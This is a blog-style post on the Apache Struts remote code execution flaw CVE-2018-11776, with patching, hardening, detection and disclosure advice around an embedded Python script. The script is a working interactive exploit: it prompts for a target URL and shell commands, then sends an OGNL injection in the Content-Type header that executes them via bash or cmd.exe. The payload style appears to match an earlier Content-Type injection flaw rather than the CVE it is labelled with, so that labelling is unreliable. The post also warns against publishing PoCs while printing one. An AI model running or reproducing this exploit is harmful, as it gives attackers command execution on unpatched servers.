The gist

Apache Struts is a Java web framework — used by companies big and small. CVE-2018–11776 was a remote code execution (RCE) issue triggered by malformed URL/path handling combined with how Struts resolved actions and namespaces. If your Struts setup accepted certain malformed routes and you hadn't applied the patches or config hardening, an attacker could run arbitrary code on the server. Not good.

Why it had teeth

A few reasons made this one particularly dangerous:

  • Wide use — Struts powered real apps across many industries.
  • RCE impact — It allowed execution of commands on the server, not just information leaks.
  • Easy to weaponize — For some deployments an exploit path was straightforward, meaning operational impact could be quick.
  • Timing and reach — Once details or PoCs circulate, miscreants move fast. That's why vendors push updates ASAP and defenders need to be quick, too.

How I first encountered it

I was skimming through my feed and saw a short advisory noting a Struts path resolution bug. I spun up a throwaway VM and a test app, confirmed the patched behavior vs unpatched, and made notes. That whole lab session taught me more than three research papers.

#!/usr/bin/python
# 
# Purpose:               0-Day Vulnerability (CVE-2018-11776) Found in Apache Struts.
# 
# Prerequisites:         Remote Code Execution Vulnerability. 
#
# DISCLAIMER:            Use against your own hosts only. Attacking stuff you are not 
#                        permitted to may put you in big trouble!
#
#

import urllib2
#Arun Bhandari
print"""
_____             _          _____ _           _      ___   _
|  _  |___ ___ ___| |_ ___   |   __| |_ ___ _ _| |_   |   |_| |___ _ _
|     | . | .'|  _|   | -_|  |__   |  _|  _| | |  _|  | | | . | .'| | |
|__|__|  _|__,|___|_|_|___|  |_____|_| |_| |___|_|    |___|___|__,|_  |
     |_|                                                          |___|
                                                          LightCoder
"""
chk=raw_input('Enter URL : ')
cmd='Witch3r'
while(cmd):
    cmd=raw_input('Shell:')
    exp = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + " && echo witch3r').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    req = urllib2.Request(chk, headers={'User-Agent': 'Mozilla/5.0', 'Content-Type': exp})
    con=urllib2.urlopen(req).read()
    end=con.find('witch3r')
    print con[0:end]

What you should do (responsible, practical steps)

If you maintain or audit web apps, here's the checklist I follow and share:

  1. Patch immediately. The vendor released fixes. Apply them. This is the fastest and most reliable defense.
  2. Harden routing & DMI. Disable dynamic method invocation (DMI) if you don't need it. Review how the app resolves actions/namespaces.
  3. WAF rules + logging. Add WAF signatures that detect unusual path parameter patterns and log details of rejected/blocked requests for triage. Don't rely on WAF alone.
  4. Inventory your apps. Know where Struts (and other frameworks) are used. You can't patch what you haven't found.
  5. Run offline tests in a lab. Reproduce issues in a controlled environment to understand impact without hurting anyone.
  6. Rotate credentials & monitor. If you suspect compromise, rotate service keys, check for persistence mechanisms, and pull indicators from logs.
  7. Upgrade dependencies. Sometimes the vulnerability chain involves older libraries — update the whole stack where possible.

Detection ideas (high level)

  • Search logs for strange requests that contain unusual path fragments or that consistently trigger 400/500 responses.
  • Look for new, unexpected processes spawned on hosts (be careful — normal processes can look noisy, so correlate).
  • If you have EDR/SIEM, create a short rule to flag high-risk HTTP requests hitting Struts endpoints and to surface related process creations.

Responsible disclosure & ethics

If you find a vuln:

  • Test only in your environment or with explicit permission.
  • Don't post PoCs that enable remote attacks on public infrastructure — at least not without coordination.
  • Contact the vendor/maintainers first with clear repro steps and a timeline. Give them time to respond and patch if the issue is new.
  • If the vendor won't act, follow accepted disclosure processes (e.g., CERT/coordination channels).

I get it — bug hunting can be thrilling. But real systems and real people are on the line. Be a decent human.

Final note

CVE-2018–11776 was a good reminder: frameworks are powerful and convenient, and they also concentrate risk. If you're running web apps, take a few hours each month to scan, update, and harden-your future self (and your users) will thank you.